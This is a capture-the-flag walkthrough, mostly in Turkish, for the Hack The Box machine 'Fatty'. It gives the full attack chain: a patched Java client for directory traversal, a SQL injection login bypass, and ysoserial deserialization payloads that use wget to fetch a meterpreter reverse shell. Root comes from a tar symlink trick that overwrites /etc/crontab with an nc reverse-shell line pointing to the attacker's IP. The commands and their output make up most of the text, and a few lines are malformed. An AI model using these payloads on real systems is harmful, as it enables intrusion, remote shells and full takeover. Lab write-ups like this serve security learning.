Hackthebox profile url : https://www.hackthebox.eu/profile/169765

Notlardan, fatty-client.jar için kullanılan yüksek bağlantı noktaları hakkında bilgi alabiliriz, ancak sonuncusu değişen bağlantı noktalarına bağlanmak için bazı değişiklikler gerektirir.

Java istemcisi değişikliği

Bean.xml dosyasını düzenleyin ve 8080 numaralı bağlantı noktasını, keşfedilen yüksek bağlantı noktalarından biriyle değiştirin. 1137 veya 1139

İmza değişikliği ile ilgili sorunu gidermek için imza dosyalarını tamamen kaldırın:

1.RSA

1.SF

/etc/hosts dizinine *server.fatty.htb* dosyasını eklediğinizde qtc kimlik bilgileriyle bağlanabilmeniz gerekir.

İstemci Jar dosyası çok sınırlıdır ve yalnızca bazı postaları, notları ve birkaç yapılandırma dosyasını gösterir. Hepsi bazı klas ortamlarda üst klasörlere ulaşma seçeneği yok. Önce bunu düzeltelim!

İstemci kodunu inceledikten sonra, tüm posta, dosya vb. Menü seçeneklerinin önceden tanımlanmış *currentFolder* kullanması açıktır. Üst klasör içeriğini almak için mevcut *(simple)* modülleri değiştirebilir veya özel menü ekleyebiliriz:

```
            public ClientGuiTest() {
            ...
            // Create a new menu
            final JMenuItem upperFolder = new JMenuItem("upperFolder");
            upperFolder.setEnabled(false);
            fileBrowser.add(upperFolder);
            ...
            btnNewButton.addActionListener(new ActionListener() {
                    ...
                    if (ClientGuiTest.this.conn.login(ClientGuiTest.this.user)) {
                            ...
                            // Enable a new menu
                            upperFolder.setEnabled(true);
                            ....
                    }
            });
            ...

// Listener for new menu
            upperFolder.addActionListener(new ActionListener() {
              public void actionPerformed(ActionEvent e) {
                String response = "";
                ClientGuiTest.this.currentFolder = "..";
                try {
                  response =
ClientGuiTest.this.invoker.showFiles(ClientGuiTest.this.currentFolder);
                } catch (MessageBuildException |
htb.fatty.shared.message.MessageParseException e1) {
                  JOptionPane.showMessageDialog(controlPanel, "Failure during upperFolder
building/parsing.", "Error", 0);
                } catch (IOException e2) {
                  JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If
this problem remains, please close and reopen the client.", "Error", 0);
                }
                textPane.setText(response);
              }
            });
```

Bu, aşağıdaki içeriği keşfetmemizi sağladı:

logs

tar

start.sh

fatty-server.jar

files

Metin dosyalarını istemciyle okuyabiliriz, ancak herhangi bir ikili dosya okunamaz. Tüm dosyaları görüntülemek yerine ***/tmp*** dizinine kaydetmek için istemciyi bir kez daha değiştirelim:

Invoker.java:

```
public byte[] open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
  ...
  byte[] response;
  ...
}
```

ClientGuiTest.java:

```
openFileButton.addActionListener(new ActionListener() {
  public void actionPerformed(ActionEvent e) {
    if (ClientGuiTest.this.currentFolder == null) {
      JOptionPane.showMessageDialog(controlPanel, "No folder selected! List a directory first!", "Error", 0);
      return;
```

```
}
      byte[] response = new byte[0];
      String fileName = ClientGuiTest.this.fileTextField.getText();
      fileName.replaceAll("[^a-zA-Z0-9.]", "");
      try {
        response = ClientGuiTest.this.invoker.open(ClientGuiTest.this.currentFolder, fileName);
        OutputStream outputStream = new FileOutputStream("/tmp/" + fileName);
        outputStream.write(response);
        outputStream.close();
      } catch (MessageBuildException | htb.fatty.shared.message.MessageParseException e1) {
        JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error",
0);
      } catch (IOException e2) {
        JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem
remains, please close and reopen the client.", "Error", 0);
      }
      textPane.setText("Wrote file content to /tmp/" + fileName);
    }
  });
```

Fatty-server.jar indirildi. Hadi inceleyelim.

fatty-server

FattyDBSession.java'da güvenli olmayan SQL yürütmeyi fark edebiliriz

```
public User checkLogin(User user) throws FattyDbSession.LoginException {
  Statement stmt = null;
  ResultSet rs = null;
  User newUser = null;
  try {
    stmt = this.conn.createStatement();
    rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
```

Sağlanan kullanıcı adı üzerinde kontrole sahip olduğumuz için SQLi'yi yönetici ayrıcalıklarına sahip olmak için qtc'yi yükseltmesi için tetikleyebiliriz.

Ancak bu hatalı kimlik bilgileri hatasıyla başarısız olur. Java istemcisini tekrar inceleyelim.

In User.java we found that username is not plaintext:

```
String hashString = this.username + password + "clarabibimakeseverythingsecure";
```

Bir kullanıcı adı ve şifre karması mı? Kullanıcı adı yerine SQLi dizesi gönderdiğimiz için karma bir sunucuda eşleşmiyor.

User.java'yı kullanıcı adında sabit kodlanmış qtc olarak güncelleyin ve tekrar deneyin:

```
String hashString = "qtc" + password + "clarabibimakeseverythingsecure";
```

Ve şimdi yöneticiyiz! Sırada ne var?

İstemci / sunucu koduna geri döndüğünüzde kullanıcı sınıfının serileştirme olduğunu ve parola değişikliği sırasında bunu kullandığını görebilirsiniz:

```
  public static String changePW(ArrayList<String> args, User user) {
    logger.logInfo("[+] Method 'changePW' was called.");
    int methodID = 7;
    if (!user.getRole().isAllowed(methodID)) {
      logger.logError("[+] Access denied. Method with id '" + methodID + "' was called by user '" +
user.getUsername() + "' with role '" + user.getRoleName() + "'.");
      return "Error: Method 'changePW' is not allowed for this user account";
    } else {
      String response = "";
      String b64User = (String)args.get(0);
      byte[] serializedUser = Base64.getDecoder().decode(b64User.getBytes());
      ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser);
      try {
        ObjectInputStream oIn = new ObjectInputStream(bIn);
        User var8 = (User)oIn.readObject();
      } catch (Exception var9) {
        var9.printStackTrace();
        response = response + "Error: Failure while recovering the User object.";
        return response;
      }
      response = response + "Info: Your call was successful, but the method is not fully implemented yet.";
      return response;
    }
  }
```

Aynı yöntem client'e uygulanmadı ve bunu kendimiz yapmalıyız. Yoserial aracını kullanarak yükleri hazırlayın

$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'wget http://10.10.14.51/rshell' | base64 -w 0

$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'chmod +x ./rshell' | base64 -w 0

$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'nohup ./rshell &' | base64 -w 0

Java istemcisini sırayla oluşturulan yüklerle güncelleyin:

```
 public String changePW(String username, String newPassword) throws MessageParseException,
MessageBuildException, IOException {

  String[] payloads = new String[3];
  payloads[0] = "rO0ABXNyAC5qYXZh...AAAAAAAAAdwgAAAAQAAAAAHh4";
  payloads[1] = "rO0ABXNyAC5qYXZ...AAAAAAAAB3CAAAABAAAAAAeHg=";
  payloads[2] = "rO0ABXNyAC5qYXZ...9AAAAAAAAAdwgAAAAQAAAAAHh4";

  for (String s: payloads) {
    this.action = new ActionMessage(this.sessionID, "changePW");
    this.action.addArgument(s);
    sendAndRecv();
  }
  if (this.response.hasError()) {
    return "Error: Your action caused an error on the application server!";
  }
  return this.response.getContentAsString();
 }
```

Java istemcisinde, şu kimlik bilgilerini kullanarak yönetici ayrıcalıklarıyla oturum açmaya izin veren SQLi bulunur:

username: qtc' UNION SELECT id, username, email, password, 'admin' FROM users ORDER BY role ASC LIMIT 1#

password: clarabibi

Generate payload:

 # msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.51 LPORT=4444 -f elf -o rshell

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 130 bytes

Final size of elf file: 250 bytes

Saved as: **rshell**

multi/handler başlatıyoruz.

 # http-server -p 80

Java GUI ile Parola değiştirme tıklandığında meterpreter oturumu açılır.

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.51:4444

[*] Sending stage (3021284 bytes) to 10.10.10.174

[*] Meterpreter session 1 opened (10.10.14.51:4444 -> 10.10.10.174:37982) at 2020-02-10 23:04:41 +0000

meterpreter > ifconfig

Interface 1

============

Name : lo

Hardware MAC : 00:00:00:00:00:00

MTU : 65536

Flags : UP,LOOPBACK

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

Interface 11

============

Name : eth0

Hardware MAC : 02:42:ac:1c:00:05

MTU : 1500

Flags : UP,BROADCAST,MULTICAST

IPv4 Address : 172.28.0.5

IPv4 Netmask : 255.255.0.0

meterpreter >

IP adreslere erişebilmek için meterpreter ile yönlendirme ayarlıyoruz.

msf5 exploit(multi/handler) > route add 172.28.0.5 255.255.255.255 1

[*] Route added

msf5 exploit(multi/handler) > route add 172.28.0.1 255.255.255.255 1

[*] Route added

msf5 ***auxiliary/server/socks4a*** **başlatıyoruz.**

kutuya yetkili_anahtarlara ve SSH' ye özel anahtar enjekte edin

 # proxychains ssh -i fatty qtc@172.28.0.5

[proxychains] config file found: /etc/proxychains4.conf

[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4

[proxychains] DLL init: proxychains-ng 4.14

[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.28.0.5:22 ... OK

The authenticity of host '172.28.0.5 (172.28.0.5)' can't be established.

ED25519 key fingerprint is SHA256:NHsveCKmHmSUEgbE9Im/ZbTOTNE3xjsZr6Owadb4QmA.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

55e9ce5d0b6b:~$

Kullanıcı bayrağını alma

Maalesef okuma iznimiz yok, yükseltme yapmalıyız.

55e9ce5d0b6b:~$ ls -al

total 24

drwxr-sr-x 1 qtc qtc 4096 Feb 10 23:10 .

drwxr-xr-x 1 root root 4096 Oct 30 11:11 ..

-rw------- 1 qtc qtc 8 Feb 10 23:10 .ash_history

drwx------ 1 qtc qtc 4096 Oct 30 11:11 .ssh

-rwxr-xr-x 1 qtc qtc 250 Feb 10 23:05 rshell

---------- 1 qtc qtc 33 Oct 30 11:10 user.txt

55e9ce5d0b6b:~$ chmod +r user.txt; cat user.txt; chmod -r user.txt

7fab2c31fc7{....}ae922073

Root olmak için devam ediyoruz.

Pspy32 keşfetme aracını kullanıyoruz.

2020/02/10 23:14:02 CMD: UID=1000 PID=339 | ash -c scp -f /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS: ACCESS | /usr/bin/scp
2020/02/10 23:14:02 FS: ACCESS | /usr/bin/scp
2020/02/10 23:14:02 FS: ACCESS | /usr/bin/scp
2020/02/10 23:14:02 FS: OPEN | /etc/passwd
2020/02/10 23:14:02 FS: ACCESS | /etc/passwd
2020/02/10 23:14:02 FS: ACCESS | /etc/passwd
2020/02/10 23:14:02 FS: CLOSE_NOWRITE | /etc/passwd
2020/02/10 23:14:02 FS: OPEN | /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS: ACCESS | /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS: CLOSE_NOWRITE | /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS: CLOSE_NOWRITE | /usr/bin/scp
2020/02/10 23:14:02 FS: CLOSE_NOWRITE | /usr/sbin/sshd

Yani bir şey **“tar”** yazma dosyasını yazma hakkımız olan yerden alıyor. Bu tekniği kullanarak içine biraz yük yüklemeye çalışalım

$ tar cf test.tar -P 'opt/fatty/logs/../root/.ssh/authorized_keys'

$ tar tvf test.tar

tar: Removing leading `opt/fatty/logs/../' from member names
-rw-r----- root/root 563 2020-02-11 01:23 opt/fatty/logs/../root/.ssh/authorized_keys

Bu dosyayı kutuya yükleyin ve ***/opt/fatty/tar/logs.tar*** ile değiştirin

Birkaç deneme:

Hata #1:

$ sudo find opt/

opt/

opt/fatty

opt/fatty/home

opt/fatty/home/qtc

opt/fatty/home/qtc/.ssh

opt/fatty/home/qtc/.ssh/authorized_keys

opt/fatty/logs

opt/fatty/root

opt/fatty/root/.ssh

opt/fatty/root/.ssh/authorized_keys

$ sudo tar cf test.tar --numeric-owner -P 'opt/fatty/logs/../root/.ssh/authorized_keys' 'opt/fatty/logs/../home/qtc/.ssh/authorized_keys'

Hata#2:

$ sudo tar cf test.tar --numeric-owner -P opt/fatty/logs opt/fatty/logs/../../../home/qtc/.ssh/authorized_keys opt/fatty/logs/../../../root/.ssh/authorized_keys

$ tar tvf test.tar

drwxr-x--- 1000/1000 0 2020-02-11 01:54 opt/fatty/logs/

-rw-r----- 1000/1000 0 2020-02-11 01:53 opt/fatty/logs/error-log.txt

-rw-r----- 1000/1000 0 2020-02-11 01:54 opt/fatty/logs/info-log.txt

tar: Removing leading `opt/fatty/logs/../../../' from member names

-rw-r----- 1000/1000 563 2020-02-11 01:23 opt/fatty/logs/../../../home/qtc/.ssh/authorized_keys

-rw-r----- 0/0 563 2020-02-11 01:23 opt/fatty/logs/../../../root/.ssh/authorized_keys

Hata #3:

$ sudo tar cf test.tar --numeric-owner -P opt/fatty/logs/error-log.txt/../root/.ssh/authorized_keys opt/fatty/logs/info-log.txt/../home/qtc/.ssh/authorized_keys

Başka bir yaklaşım:

symlink dosyası logs.tar /etc/crontab dosyasına bağla
Logs.tar, hazırlanmış crontab'a symlink ile değiştirildi

Hazırlama:

Sadece symlink işaretçisi ile tar dosyası oluşturun

$ tar tvf logs1.tar

lrwxrwxrwx root/root 0 2020-02-12 18:07 logs.tar -> /etc/crontab

Düz metin yalnızca crontab girişlerini içermelidir.

$ cat logs2.tar

/etc/crontab: system-wide crontab

Unlike any other crontab you don't have to run the `crontab'

command to install the new version when you edit this file

and files in /etc/cron.d. These files also have username fields,

that none of the other crontabs do.

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

m h dom mon dow user command

17 * * * * root cd / && run-parts --report /etc/cron.hourly

25 6 * * * root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.daily)

47 6 * * 7 root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.weekly)

52 6 1 * * root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.monthly)

* * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.51 6666 >/tmp/f

* * * * * root ping -c 100 10.10.14.51

* * * * * root wget http://10.10.14.51/boobar

Tekrarlanan bağlantı sırasında bağlantı kesilmesini önlemek için 6666 numaralı bağlantı noktasında -k anahtarıyla bir dinleyici oluşturun:

$ nc -lnvkp 6666

Hem log 1.tar hem de log2.tar dosyalarını docker'a yükleyin.

/opt/fatty/tar/logs.tar dosyası ile 1.tar ile değiştirin ve psp32s ile izleyin - okur ve kapatırsa /opt/fatty/tar/logs.tar

Ters kabuk birkaç dakika içinde ortaya çıkmalıdır

 # nc -lnvk 6666

Ncat: Version 7.80 (https://nmap.org/ncat)

Ncat: Listening on :::6666

Ncat: Listening on 0.0.0.0:6666

Ncat: Connection from 10.10.10.174.

Ncat: Connection from 10.10.10.174:56052.

/bin/sh: 0: can't access tty; job control turned off

cd /root

cat root.txt

ln -s /root/.ssh/authorized_keys logs.tar

create a file in local dir

tar -cf logs.tar logs.tar